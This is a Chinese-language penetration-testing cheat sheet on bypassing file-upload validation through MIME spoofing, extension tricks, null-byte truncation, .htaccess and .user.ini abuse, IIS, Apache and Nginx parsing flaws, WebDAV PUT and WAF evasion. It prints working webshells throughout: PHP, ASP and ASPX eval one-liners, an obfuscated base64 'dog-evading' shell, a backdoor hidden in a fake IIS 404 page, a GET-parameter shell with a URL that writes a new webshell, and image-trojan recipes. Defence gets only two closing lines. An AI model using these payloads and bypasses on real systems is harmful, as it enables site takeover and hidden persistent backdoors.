文件上传解析总结

前言

概述

Web站点一般会有用户注册的功能,当用户注册之后,大多数情况下都会存在类似头像上传等个性化的设置,这些功能点往往存在上传验证方式不严格的安全缺陷,这些安全缺陷在Web渗透中是非常关键的突破口,只要经过仔细测试分析上传验证机制,往往就能找到绕过验证的方法,进而上传恶意代码获取整个Web业务控制权,复杂一点的情况是配合 Web Server的解析漏洞来获取控制权。

上传检测流程

通常一个文件以HTTP协议进行上传时,将以POST请求发送至Web服务器,Web服务器接收到请求并同意后,用户与Web服务器将建立连接,并传输数据。一般文件上传过程中将会经过如下几个检测步骤

  • 客户端JavaScript检测 (通常为检测文件扩展名)
  • 服务端MIME类型检测 (检测Content-Type内容)
  • 服务端目录路径检测 (检测跟Path参数相关的内容)
  • 服务端文件扩展名检测 (检测跟文件extension相关的内容)
  • 服务端文件内容检测 (检测内容是否合法或含有恶意代码)

常用测试方法

  1. 上传jpg文件,抓包修改文件类型为脚本格式(asp、aspx、php、jsp等)。
  2. 有些应用检测上传文件类型时,通过文件名中的第一个‘.’来分割文件后缀名,所以可以尝试上传xxx.jpg.php(asp、aspx、jsp等)

上传绕过方向

这里上传xx.php,然后用bp代理截断

POST /Index/shareUpload HTTP/1.1
Host: qingwendang.com
Content-Length: 221
Accept: */*
Origin: http://qingwendang.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.79 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAEFWShaIYBzgEpLD
Referer: http://qingwendang.com/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bbsd036dj7d15on6rpct8tvlr5; Hm_lvt_4cf8af0a5f94f595e1b5765fcb4ee431=1528564990,1528644560; Hm_lpvt_4cf8af0a5f94f595e1b5765fcb4ee431=1528644560
Connection: close

------WebKitFormBoundaryAEFWShaIYBzgEpLD
Content-Disposition: form-data; name="file"; filename="xx.php"
Content-Type: application/x-php

<?php @eval($_POST['key']);?>

------WebKitFormBoundaryAEFWShaIYBzgEpLD--

从中获取特征为:

  • 请求Header中Content-Type存在以下特征:
    • multipart/form-data(表示该请求是一个文件上传请求
    • 存在boundary字符串(作用为分隔符,以区分POST数据
  • POST的内容存在以下特征:
    • Content-Disposition
    • name
    • filename
  • POST中的boundary的值就是Content-Type的值在最前面加了两个--,除了最后标识结束的boundary
  • 最后标识结束的boundary最后默认会多出两个--(测试时,最后一行的boundary删掉也能成功上传)
  • 获取文件名的地方在Content-Disposition: form-data; name="file"; filename="xx.php"Content-Type里,所以绕过的地方也就在这两个地方了。

绕过方法

客户端检测(JavaScript检测)

检测说明

这类检测,通常是在上传页面里含有专门检测文件上传的JavaScript代码,最常见的就是检测扩展名是否合法,示例代码如下:

function check()
{
  var filename = document.getElementById("file");
  var str = filename.value.split(".");
  var ext = str[str.length-1];
  if(ext=='jpg'||ext=='png'||ext=='jpeg'||ext=='gif')
  {
    return true;
  }
  else
  {
    alert("仅允许上传png/jpeg/gif类型的文件!")
    return false;
  }
  return false;
}

判断该类检测的套路

  1. 选择一个禁止上传类型的文件上传,当点击确定按钮之后,浏览器立即弹窗提示禁止上传,一般就可以断定为客户端JavaScript检测
  2. 可以通过配置浏览器HTTP代理(没有流量经过代理就可以证明是客户端JavaScript检测)

绕过姿势

  • 上传页面,审查元素,修改JavaScript检测函数,如利用Firebug定位到检测函数的调用,然后删掉它;
  • 将需要上传的恶意代码文件类型改为允许上传的类型,例如将dama.asp改为dama.jpg上传,配置Burp Suite代理进行抓包,然后再将文件名dama.jpg改为dama.asp
  • 上传webshell.jpg.jsp可能前端程序检查后缀时,从前面开始检查
  • 用Firefox插件: yesscript2 链接: https://addons.mozilla.org/zh-CN/firefox/addon/yesscript2/?src=search

服务端MIME类型检测

MIME类型用来设定某正扩展名文件的打开方式,当具有改扩展名的文件被访问时,浏览器会自动使用指定的应用程序来打开.如GIF图片MIME为image/gif,CSS文件MIME类型为text/css

检测说明

服务器端检测文件MIME类型可能的代码如下:

<?php
  if($_FILES['userfile']['type']!="image/gif")
  {//检测Content-type
    echo"Sorry,we only allow uploading GIF images";
    exit;
  }
  $uploaddir='uploads/';
  $uploadfile=$uploaddir.basename($_FILES['userfile']['name']);
  if(move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile))
  {
    echo"File is valid,and was successfully uploaded.\n";
  }
  else
  {
    echo"File uploading failed.\n";
  }
?>

绕过姿势

  • 上传dama.php时,然后配置Burp Suite代理进行拦截查看MIME类型,可以发现PHP文件的MIME类型为:application/php,将Content-Type的值修改为image/gif,或者其他允许的类型即可通过程序验证.。
  • 常用Content-Type常用取值如下:
扩展名 MIME类型
gif image/gif
png image/png
jpg image/jpeg
js text/javascript
htm text/html
html text/html

服务端目录路径检测

在文件上传时,程序通常允许用户将文件放到指定的目录中,而有些Web开发人员为了让代码更加”健壮”,通常会做一个操作:如果指定的目录存在,就将文件写入目录中,不存在则先建立目录,然后写入.这就意味着,我们可以通过bp操控目录了.

上传的数据包中,如果存在path(或者其他名称)等能够操作上传路径的参数,修改该参数配合解析漏洞Get Webshell,该方法一般asp系统用比较多。

例如path参数为如下“upfile/”,可以尝试修改为“upfile.asp/”或者“upfile/1.asp/”或者“upfile/1.asp;.”,注意观察返回的文件名。返回的文件名可能为:upfile/1.asp;.201704117886.jpg,满足IIS6.0解析漏洞。

IIS6.0在解析文件的时候,存在以下两个漏洞

  1. 当建立*.asa*.asp格式的文件夹时,其目录下的任意文件都将被IIS当作asp文件来解析
  2. 文件*.asp;1.jpg时,IIS6.0同样会以ASP脚本执行

服务端文件扩展名检测

分类

黑名单检测:

黑名单的安全性比白名单低很多,服务器端,一般会有个专门的blacklist文件,里面会包含常见的危险脚本文件类型,例如:

html | htm | php | php2 | hph3 | php4 | php5 | asp | aspx | ascx | jsp | cfm | cfc
bat | exe | com | dll | vbs | js | reg | cgi | htaccess | asis | sh等等
白名单检测:

仅允许指定的文件类型上传,比如仅允许上传jpg | gif | doc | pdf等类型的文件,其他文件全部禁止。

绕过方法:

文件名大小写绕过(适用于黑名单检测方式):
  • 使用AspaSpPhPpHp之类的扩展名在Windows平台上依然会被Web容器解析,从而绕过黑名单检测
名单列表绕过:
  • 用黑名单里没有的名单进行攻击,比如很名单中没有的asa或者cer之类
  • 能被解析的文件扩展名列表:
jsp jspx jspf
asp asa cer aspx
php php php3 php4
exe exee
特殊文件名绕过(适用于黑名单检测方式):

比如在发送的HTTP包中,将文件名改为”dama.asp.”或者”dama.asp_”(下划线为空格),这种命名方式在window系统里是不被允许的,所以需要在Burp Suite中抓包修改,上传之后,文件名会被window自动去掉后面的点或者空格,需要注意此种方法仅对window有效,Unix/Linux系统没有这个特性。

0x00截断绕过(适用于白名单检测方式):

伪代码如下:

Name = getname(http requests)//假如这一步获取到的文件名是dama.asp.jpg(asp 后面为 0x00)
Type = gettype(name)//而在该函数中,是从后往前扫描文件扩展名,所以判断为jpg文件
If(type == jpg)
SaveFileToPath(UploadPath.name , name)//但在这里却是以0x00作为文件名截断,最后以dama.asp存入路径里
方法一:在Hex中修改

上传dama.jpgBurp抓包,将文件名改为dama.php空格.jpg,然后单击HEX选项卡进入十六进制编辑模式,将文件名中的空格的十六进制20改为00,单击GO按钮发送出去

方法二:url-decode

上传dama.jpgBurp抓包,将文件名改为dama.php%00.jpg,选中%00右键->convert selection->url-decode,单击GO按钮发送出去

方法三:直接加'\0'

上传dama.jpgBurp抓包,将文件名改为dama.php'\0'.jpg,单击GO按钮发送出去

方法四: 直接改成php

上传dama.jpgBurp抓包,将文件名改为dama.php,单击GO按钮发送出去

上传.htaccess文件攻击:(适用于黑名单检测方式,黑名单中未限制.htaccess

该文件仅在Apache平台上存在,IIS平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。该文件的写法如下:

<FilesMatch "_php.gif">
 SetHandler application/x-httpd-php
</FilesMatch>

保存为.htaccess文件。该文件的意思是,只要遇到文件名中包含有”_php.gif”字符串的,统一按照php文件来执行。该文件在Apache里默认是启用的,如果没启用,启用方法见:http://www.jb51.net/article/25476.htm 然后就可以上传一个带一句话木马的文件,例如a_php.gif,会被当成php执行。该方法其实不是漏洞,是Apache的特性。该方法常用于黑客入侵网站之后,不想被发现,留一个隐蔽的后门。在PHP手册中提到一句话,move_uploaded_file section,there is awarning which states‘If the destination file already exists, it will be overwritten.’服务器端如果采用了黑名单的形式限制上传,但是黑名单中却没有.htaccess文件,那么我们可以上传.htaccess文件覆盖掉原来的文件

这里有一个问题,那就是怎么知道网站是什么搭建平台,服务器类型是什么,这个一般可以通过站长之家,seo查询等查询出来,或者通过一些扫描软件扫描出来

上传.user.ini攻击
  • 当中间件是以fastcgi运行的php都可以用这个方法,.user.ini能被动态加载,它也有两个配置项:

    auto_append_file
    auto_prepend_file
  • 只要在.user.ini中添加auto_prepend_file=aa.jpg 这句话,就可以让其他php文件执行前自动包含aa.jpg,和require()类似。

解析漏洞绕过(适用于白名单检测方式)

直接上传一个注入过恶意代码的非黑名单文件即可,再利用解析漏洞利用.例如Web容器为IIS 6.0,攻击者将木马文件名改为pentest.asp;1.jpg上传,此时文件名为JPG格式,从而可以顺利通过验证,而IIS 6.0会把pentest.asp;1.jpg当做ASP脚本来执行,最终攻击者可以绕过白名单的检测,并且执行木马程序.

服务端文件内容检测

  • 可能会用正则匹配,判断文件头内容是否符合要求

    文件幻数(文件头)检测:

    JPG : FF D8 FF E0 00 10 4A 46 49 46
    GIF : 47 49 46 38 39 61 (GIF89a)
    PNG: 89 50 4E 47
绕过方法:
  • 主要是检测文件内容开始处的文件幻数,比如图片类型的文件幻数如下:
  • 要绕过jpg 文件幻数检测就要在文件开头写上下图的值

  • 要绕过gif 文件幻数检测就要在文件开头写上下图的值

  • 要绕过png 文件幻数检测就要在文件开头写上下面的值

  • 然后在文件幻数后面加上自己的一句话木马就行了。如下
GIF89a<?php phpinfo(); ?>

文件相关信息检测:

  • 一般就是检查图片文件的大小,图片文件的尺寸之类的信息。
  • 图像文件相关信息检测常用的就是getimagesize()函数

绕过方法:
  • 伪造好文件幻数,在后面添加一句话木马之后,再添加一些其他的内容,增大文件的大小。有点像下面的结构:
GIF89a
(...some binary data for image...)
<?php phpinfo(); ?>
(... skipping the rest of binary data ...)

文件加载检测:

  • 这个是最变态的检测,一般是调用API或者函数去进行文件加载测试,常见的是图像渲染测试,再变态一点的甚至是进行二次渲染。
绕过方法:
  • 针对渲染加载测试:代码注入绕过
  • 针对二次渲染测试:攻击文件加载器
说明
  • 先说下对渲染/加载测试攻击-代码注入绕过,可以用图像处理软件对一张图片进行代码注入。用winhex看数据可以分析出这类工具的原理是在不破坏文件本身的渲染情况下找一个空白区进行填充代码,一般会是图片的注释区。对于渲染测试基本上都能绕过,毕竟本身的文件结构是完整的.
  • 但如果碰到变态的二次渲染,基本上就没法绕过了,估计就只能对文件加载器进行攻击了。
  • 一般进行遇到二次渲染,想绕过,就目前个人经验还没想出方法,它相当于是把原本属于图像数据的部分抓了出来,再用自己的API 或函数进行重新渲染,在这个过程中非图像数据的部分直接就被隔离开了。能想到的一个思路就是基于数据二义性,即让数据既是图像数据也包含一句话木马代码,就像shellcode 通过数据二义性绕过IDS 检测特殊字符一样的道理,但现在我还不知道怎么构造出这样的图像文件。
  • 如果要对文件加载器进行攻击,常见的就是溢出攻击,上传自己的恶意文件后,服务器上的文件加载器会主动进行加载测试,加载测试时被溢出攻击执行shellcode比如access/mdb 溢出
  • 总之对文件完整性检测的绕过,通常就直接用个结构完整的文件进行代码注入即可,没必要再去测到底是检查的幻数还是文件头结构之类的了。

文件内容检测通用绕过方法:

  • 通常,对于文件内容检查的绕过,就是直接用一个结构完整的文件进行恶意代码注入 即可。比如说常用的图片木马
  • window下用如下命令制作图片木马
copy /b 1.jpg+1.php

1.jpg里面就包含了1.php里面的内容

配合Web Server解析漏洞

Apache解析漏洞

Apache 1.xApache 2.x中存在解析漏洞

一个文件名为xxx.x1.x2.x3的文件(例如:index.php.fuck), Apache会从x3的位置往x1的位置开始尝试解析,如果x3不属于Apache能解析的扩展名,那么Apache会尝试去解析x2的位置,这样一直从后往前尝试,直到遇到一个能解析的扩展名为止,如果都不认识,则会暴露其源代码

以下集成环境都存在扩展名解析顺序漏洞,并且这些环境都存在对php3文件按照php来解析这个小洞

WampServer2.0AllVersion(WampServer2.0i/Apache2.2.11)
WampServer2.1AllVersion(WampServer2.1e-x32/Apache2.2.17)
Wamp5AllVersion(Wamp5_1.7.4/Apache2.2.6)
AppServ2.4AllVersion(AppServ-2.4.9/Apache2.0.59)
AppServ2.5AllVersion(AppServ-2.5.10/Apache2.2.8)
AppServ2.6AllVersion(AppServ-2.6.0/Apache2.2.8)

那么Apache认识哪些扩展名呢?在Apache安装目录下/conf/mime.types文件中有详细的扩展名列表,这种方法可以绕过基于黑名单的检查。

  • 总结存在该漏洞的Apache版本:
    • Apache2.0.x<=2.0.59
    • Apache2.2.x<=2.2.17

      IIS解析漏洞

IIS6.0

IIS 6.0再解析文件的时候存在以下两个解析漏洞:

  1. 文件*.asp;1.jpg时,IIS 6.0会以ASP脚本来执行
  2. 当建立*.asa,*.asp格式的文件夹时,其目录下的任意文件都将被IIS当作asp文件来解析
  3. WebDav(Web-based Distributed Authoring and Versioning)漏洞(对IIS写权限的利用),如果服务器开启WebDav,并且支持PUT,Move,Copy,Delete等方法,就可能存在安全隐患
    文件类型

Ⅰ:正常:www.xxx.com/logo.jpg

Ⅱ:触发漏洞:www.xxx.com/logo.asp;.jpg

按照Ⅰ来访问logo.jpg,文件会被当成是jpg图片来解析,想办法,能够按照Ⅱ来访问logo.jpg文件就会被当成asp文件来处理。(如果IIS支持PHP,那么logo.php;.jpg也会被当成PHP文件执行)

文件夹类型

Ⅰ:正常:www.xxx.com/image/logo.jpg

Ⅱ:触发漏洞:www.xxx.com/image.asp/logo.jpg

按照Ⅰ来访问logo.jpg,文件会被当成是jpg图片来解析,想办法,能够按照Ⅱ来访问logo.jpg文件就会被当成asp文件来处理。(如果IIS支持PHP,那么image.php文件夹下的文件也会被当做PHP文件解析。)

WebDav

攻击者常用PUT方法上传危险脚本文件,测试步骤如下:

通过OPTIONS探测服务器所支持的HTTP方法
请求:
OPTIONS / HTTP/1.1
Host:www.example.com

响应:
。。。
Allow:OPTIONS,TRACE,GET,HEAD,DELETE,PUT,POST,COPY,MOVE,MKCOL,PROPFIND,PROPPATCH,LOCK,UNLOCK,SEARCH
。。。
通过PUT方法向服务器上传脚本文件
请求:
PUT /a.txt HTTP/1.1
Host:www.example.com
Content-Length:30

<%eval request("chopper")%>
通过MoveCopy方法改名
请求:
COPY /a.txt HTTP/1.1
Host:www.example.com
Destination:http://www.example.com/cmd.asp
使用DELETE方法,攻击者还可以删除服务器上的任意文件
请求:
DELETE /a.txt HTTP/1.1
Host:www.example.com

桂林老兵曾写过一款针对WebDav漏洞的软件:IIS Write,利用这款软件,可以快速探测服务器是否存在WebDav漏洞

IIS7.0以上

原理
  • IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL后面追加上字符串”/任意文件名.php”就会按照php的方式去解析。(例如:webshell.jpg/x.php
IIS7.0(Win2008R1+IIS7.0)
IIS7.5(Win2008R2+IIS7.5)
  • IIS的解析漏洞不像Apache那么模糊,针对IIS6.0,只要文件名不被重命名基本都能搞定。这里要注意一点,对于”任意文件名/任意文件名.php”这个漏洞其实是出现自php-cgi的漏洞, 所以其实跟IIS自身是无关的。
利用
  • 将shell语句,如
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

写在文本xx.txt中(或者shell语句直接写一句话,用菜刀、cknife等直连,只是容易被查杀),然后用命令将shell语句附加在正常图片xx.jpg

copy xx.jpg/b + xx.txt/a test.jpg
  • 上传test.jpg,然后访问test.jpg/.phptest.jpg/abc.php当前目录下就会生成一句话木马 shell.php

Nginx解析漏洞

畸形解析漏洞

原理
  • 对任意文件名,在后面添加”/任意文件名.php”的解析漏洞,比如图片木马文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击,那么test.jpg会被当成PHP脚本来解析。注意,此时的x.php是不存在的

    这种解析漏洞其实是PHP CGI漏洞,在PHP配置文件中有个关键的选项:cgi.fi: x_pathinfo,这个选项在某些版本中是默认开启的,在开启时访问URL,比如: http://www.xxser.com/x.txt/x.php,x.php是不存在的文件,所以PHP会向前递归解析,于是造成了解析漏洞.由于Nginx和PHP配合很容易造成这种漏洞,所以,PHP CGI漏洞常常被认为是Nginx解析漏洞,所以其实跟Nginx自身是无关的。

利用
  • 将shell语句,如

    <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

    写在文本xx.txt中(或者shell语句直接写一句话,用菜刀、cknife等直连,只是容易被查杀)

  • 然后用命令将shell语句附加在正常图片xx.jpg

copy xx.jpg/b + xx.txt/a test.jpg
  • 上传test.jpg,然后访问test.jpg/.phptest.jpg/abc.php,当前目录下就会生成一句话木马 shell.php

空字节代码执行漏洞

原理
  • 低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击
Nginx0.5.
Nginx0.6.
Nginx0.7. <= 0.7.65
Nginx0.8. <= 0.8.37
利用
  • 比如在图片后附加php代码,然后通过访问
    xx.jpg%00.php
    来执行其中的代码

文件名逻辑漏洞(CVE-2013-4547)

  • 受影响的nginx版本: 0.8.41至1.4.3和1.5.7之前的1.5.x
  • 正常上传一个附加代码的图片test.jpg,访问时后面+空格+\\0+.php,即让图片作为php文件解析
"/test.jpg \\0.php"

配置不当目录穿越

  • 如果绝对路径/home/的URL映射是网站目录/files/,配置写成了/files
location /files {
    alias /home/;
}
  • 就可以访问/files../,穿越路径,访问到绝对路径根目录/下的文件列表

配合操作系统命名规则

上传不符合windows文件命名规则的文件名

  test.asp.
  test.asp(空格)
  test.php:1.jpg
  test.php::$DATA
  shell.php::$DATA…….

会被windows系统自动去掉不符合规则符号后面的内容。

linux下后缀名大小写

在linux下,如果上传php不被解析,可以试试上传pHp后缀的文件名。

配合文件包含漏洞

前提

  • 校验规则只校验当文件后缀名为asp/php/jsp的文件内容是否为木马。

绕过方式

这里拿php为例,此漏洞主要存在于PHP中

  1. 先上传一个内容为木马的txt后缀文件,因为后缀名的关系没有检验内容;
  2. 然后再上传一个.php的文件,内容为<?php Include("上传的txt文件路径");?>

    文件包含可利用的函数

include()
include_once()
require()
require_once()
fopen()
readfile()等
  1. 此时,这个php文件就会去引用txt文件的内容,从而绕过校验,下面列举包含的语法:
#PHP    
<?php Include("上传的txt文件路径");?> 
#ASP    
<!--#include file="上传的txt文件路径" -->
#JSP    
<jsp:inclde page="上传的txt文件路径"/>
or  
<%@include file="上传的txt文件路径"%>

CMS、编辑器漏洞

  1. CMS漏洞:比如说JCMS等存在的漏洞,可以针对不同CMS存在的上传漏洞进行绕过。
  2. 编辑器漏洞:比如FCK,ewebeditor等,可以针对编辑器的漏洞进行绕过。
    这两方面的漏洞以后单独成文汇总,这里点到为止。

WAF绕过

垃圾数据

内容中插入干扰字符

  • 前提: 有些主机WAF软件为了不影响web服务器的性能,会对校验的用户数据设置大小上限,比如1M。
  • 目标: 绕过WAF对文件内容的校验
  • 方法: 此种情况可以构造一个大文件,前面1M的内容为垃圾内容,后面才是真正的木马内容

字段中插入干扰字符

  • 前提: 网站具有任意文件上传漏洞,但是安全狗拦截危险的脚本文件后缀,比如php、asp、aspx
  • 目标: 绕过安全狗对脚本文件后缀的校验
  • 方法: 可以在Content-Disposition字段和filename字段之间插入任意大于或者等于508个长度的字符,再配合特殊文件名(文件名中间需要有分号或者单引号),
Content-Disposition:form-data;name="file";_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_mwww.cnzxsoft.co_......;Filename="tea;sd.cer"

filename

多个filename

  • 针对早期版本安全狗,可以多加一个filename
  • 最终上传成功的文件名是xx.php。但是由于解析文件名时,会解析到第一个xx.txt。正则默认都会匹配到第一个。
Content-Disposition: form-data; name="file_x"; filename="xx.txt"; filename="xx.php"

filename换行

  • PHP支持,Java不支持
Content-Disposition: form-data; name="file"; file
name="xx.php"
  • 下面这种换行PHP也支持。

    fi
    lename
  • 在IIS6.0下如果我们换一种书写方式,把filename放在其他地方:

POST/GET

  • 前提: 有些WAF的规则是:如果数据包为POST类型,则校验数据包内容。
  • 操作: 此种情况可以上传一个POST型的数据包,抓包将POST改为GET。

利用waf本身缺陷

删除实体里面的Content-Type字段

  • 第一种是删除Content整行

  • 第二种是删除C后面的字符。即删除掉ontent-Type: image/jpeg只留下c,将.phpc后面即可,但是要注意,双引号要跟着c.php
正常包:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"
Content-Type: image/png

构造包:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"

删除Content-Disposition字段里的空格

Content-Disposition: form-data; name="file"; filename="yijuhua.php"

  • 删除上面字段冒号后的空格或者name前面的空格

修改Content-Disposition,name,filename的大小写

Content-Disposition: form-data; name="file"; filename="xx.php"

比如name转换成Name或者nAmeContent-Disposition转换成content-disposition

Boundary边界不一致

  • 每次文件上传时的Boundary边界都是一致的:
Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852555099
Content-Length: 253
-----------------------------4714631421141173021852555099
Content-Disposition: form-data; name="file1"; filename="shell.asp"
Content-Type: application/octet-stream
<%eval request("a")%>
-----------------------------4714631421141173021852555099--
  • 但如果容器在处理的过程中并没有严格要求一致的话可能会导致一个问题,两段Boundary不一致使得waf认为这段数据是无意义的,可是容器并没有那么严谨:Win2k3 + IIS6.0 + ASP

文件名处回车

多个Content-Disposition

  • 在IIS的环境下,上传文件时如果存在多个Content-Disposition的话,IIS会取第一个Content-Disposition中的值作为接收参数,而如果waf只是取最后一个的话便会被绕过,Win2k8 + IIS7.0 + PHP

双文件上传

  • 安全狗有专门的文件上传防御模块,禁止cdx、cer、cgi、dll、exe、jsp、php、asp、aspx等类型的文件上传。

安全狗进行文件名匹配时候用的是第一个文件名111.jpg,是符合安全要求的,第二个文件没有检查,但是webserver在保存文件的时候却保存了第二个文件名111.php

windows特殊字符

  • 当我们上传一个文件的filename为
    shell.php{%80-%99}
    时:waf可能识别为
    .php{%80-%99}
    就会导致被绕过。

交换namefilename的顺序

  • 规定Content-Disposition必须在最前面,所以只能交换namefilename的顺序。有的WAF可能会匹配name在前面,filename在后面,所以下面姿势会导致Bypass。
Content-Disposition: form-data; filename="xx.php"; name=file

多个分号

  • 多个分号,文件解析时,可能解析不到文件名,导致绕过。
Content-Disposition: form-data; name="file";;; filename="xx.php"

boundary前添加任意字符

  • 如下,在boundary前添加bypass,php支持,java报错
Content-Type: multipart/form-data; bypassboundary=----WebKitFormBoundaryj1oRYFW91eaj8Ex2

去掉或修改Content-Disposition

  • 有的WAF在解析的时候,认为Content-Disposition值一定是form-data,造成绕过。
Content-Disposition: name='file_x'; filename='xx.php'

去掉引号

Content-Disposition: form-data; name=file; filename="xx.php"
Content-Disposition: form-data; name="file"; filename=xx.php
Content-Disposition: form-data; name=file; filename=xx.php

双引号变成单引号

Content-Disposition: form-data; name='file'; filename='xx.php'

单引号、双引号、不要引号,都能上传。

NTFS ADS特性

  • ADS是NTFS磁盘格式的一个特性,用于NTFS交换数据流。在上传文件时,如果waf对请求正文的filename匹配不当的话可能会导致绕过。

其他情况补充

文件重命名绕过

  • 修改上传的文件名为超长文件名。

  • 如果web程序会将filename除了扩展名的那段重命名的话,那么还可以构造更多的点、符号等等。

特殊的长文件名绕过

  • 文件名使用非字母数字,比如中文等最大程度的拉长,不行的话再结合一下其他的特性进行测试:
    shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg

反删除

  • 将下图file1改成了file4,这样就不会把这个文件删除了。(JCMS漏洞)

文件大小

  • 修改上传文件内容,在内容中加很多注释,据说文件大小达到1.5m时,安全狗不在检测。

文件名空字符

  • :`` ; =添加1个或者多个空格,如在filename=后面加上空格TAB等空字符再跟上文件名,可以绕过dog的上传检测。

空字符

  • 在分号的前后加上一定数量的TAB,在测试中是加入了466个TAB字符,可以绕过dog的上传检测。

总结

轻量级检测绕过

  1. 绕过前端JavaScript检测:使用Burp抓包改包。
  2. 绕过服务器端MIME类型检测:使用Burp抓包改包。

路径/文件扩展名检测绕过

  1. 黑名单检测方式
文件名大小写绕过;
名单列表绕过;
特殊文件名绕过;
0x00截断绕过;
.htaccess文件攻击;
本地文件包含漏洞;
Apache解析漏洞;
IIS解析漏洞;
Nginx解析漏洞;
  1. 白名单检测方式
0x00截断绕过;
本地文件包含漏洞;
Apache解析漏洞;
IIS解析漏洞;
Nginx解析漏洞;

文件内容检测方式

对文件进行恶意代码注入,再配合解析漏洞。

一句话木马

  1. php

    <?php @eval($_POST[‘key’]);?>
    <?php  $a = "a"."s"."s"."e"."r"."t";$a($_POST[key]);?>
  2. asp

    <% eval request(“key”)%>
  3. aspx

    <%@ Page Language="Jscript"%><%eval(Request.Item["key"],"unsafe");%>

php过狗一句话

<?php 
  $mt="JF9QT1N"; 
  $ojj="QGV2YWwo";
  $hsa="UWydpMGle";
  $fnx="5BeSleleddKTs=";
  $zk = str_replace("d","","sdtdrd_redpdldadcde");
  $ef = $zk("z", "", "zbazsze64_zdzeczodze");  
  $dva = $zk("p","","pcprpepaptpe_fpupnpcptpipopn");                                           
  $zvm = $dva('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx))); 
  $zvm(); 
?>

分析:

$zk = "str_replace";
$ef = $zk("z", "", "zbazsze64_zdzeczodze"); 
    = str_replace("z", "", "zbazsze64_zdzeczodze") 
    = "base64_decode"
$dva = $zk("p","","pcprpepaptpe_fpupnpcptpipopn"); 
     = str_replace("p","","pcprpepaptpe_fpupnpcptpipopn") 
     = "create_function"
$zvm = $dva('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx))); 
     = create_function('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx))) 
     = create_function('', base64_decode(str_replace("le", "", $ojj.$mt.$hsa.$fnx))) 
     = create_function('', base64_decode(str_replace("le", "", QGV2YWwoJF9QT1NUWydpMGle5BeSleleddKTs=)))
     = create_function('', base64_decode("QGV2YWwoJF9QT1NUWydpMG5BeSddKTs="))
     = create_function('', "@eval($_POST['i0nAy']);")

过狗一句话总结为:打乱字符;编码技术;拆分组合;创建,匹配

变形的一句话

<?php ($_=@$\_GET\[2\]).@$\_($_POST\[sz\])?>

<?php $a = str\_replace(x,"","axsxxsxexrxxt");$a($\_POST\["sz"\]); ?>

<?php $k="ass"."ert"; $k(${"_PO"."ST"} \['sz'\]);?>

<?php $a = "a"."s"."s"."e"."r"."t";  $a($_POST\["sz"\]); ?>

404隐藏PHP后门

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>无法找到该页</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=GB2312">
<STYLE type="text/css">
  BODY { font: 9pt/12pt 宋体 }
    H1 { font: 12pt/15pt 宋体 }
      H2 { font: 9pt/12pt 宋体 }
        A:link { color: red }
      A:visited { color: maroon }
      </STYLE>
      </HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>
      <h1>无法找到该页</h1>
      您正在搜索的页面可能已经删除、更名或暂时不可用。
      <hr>
      <p>请尝试以下操作:</p>
      <ul>
      <li>确保浏览器的地址栏中显示的网站地址的拼写和格式正确无误。</li>
      <li>如果通过单击链接而到达了该网页,请与网站管理员联系,通知他们该链接的格式不正确。
      </li>
      <li>单击<a href="http://www.asp-muma.com/javascript:history.back(1)">后退</a>按钮尝试另一个链接。</li>
      </ul>
      <h2>HTTP 错误 404 - 文件或目录未找到。<br>Internet 信息服务 (IIS)</h2>
      <hr>
      <p>技术信息(为技术支持人员提供)</p>
      <ul>
      <li>转到 <a >Microsoft 产品支持服务</a>并搜索包括&ldquo;HTTP&rdquo;&ldquo;404&rdquo;的标题。</li>
      <li>打开&ldquo;IIS 帮助&rdquo;(可在 IIS 管理器 (inetmgr) 中访问),然后搜索标题为&ldquo;网站设置&rdquo;&ldquo;常规管理任务&rdquo;&ldquo;关于自定义错误消息&rdquo;的主题。</li>
      </ul>
      </TD></TR></TABLE>
      <?php
      @preg\_replace("/\[checksql\]/e",$\_POST\['cnsec'\],"saft");
      header('HTTP/1.1 404 Not Found');
      ?>
      </BODY></HTML>

php面杀小马

  • 小马如下:

    <?php $_GET[a]($_GET[b]);?>
  • 仅用GET函数就构成了木马,利用方法如下:

http://localhost:8081/test/a.php?a=assert&b=${fputs%28fopen%28base64\_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
  • 执行后当前目录生成c.php一句话木马,当传参aeval时会报错

图片木马制作

  1. windows命令:

    copy /b 1.jpg+2.php

    1.jpg即为图片木马

  2. Edjpgcom: 专业的图片木马制作工具,使用方法:
    打开edjpgcom.exe所在文件夹,然后把你所要修改的图片拖动edjpgcom.exe上面,然后edjpgcom.exe会自动打开,写入想要写的代码即可。

文件上传防御.

  • 轻量级检测必然能绕过
  • 检测的重点放在文件内容检测
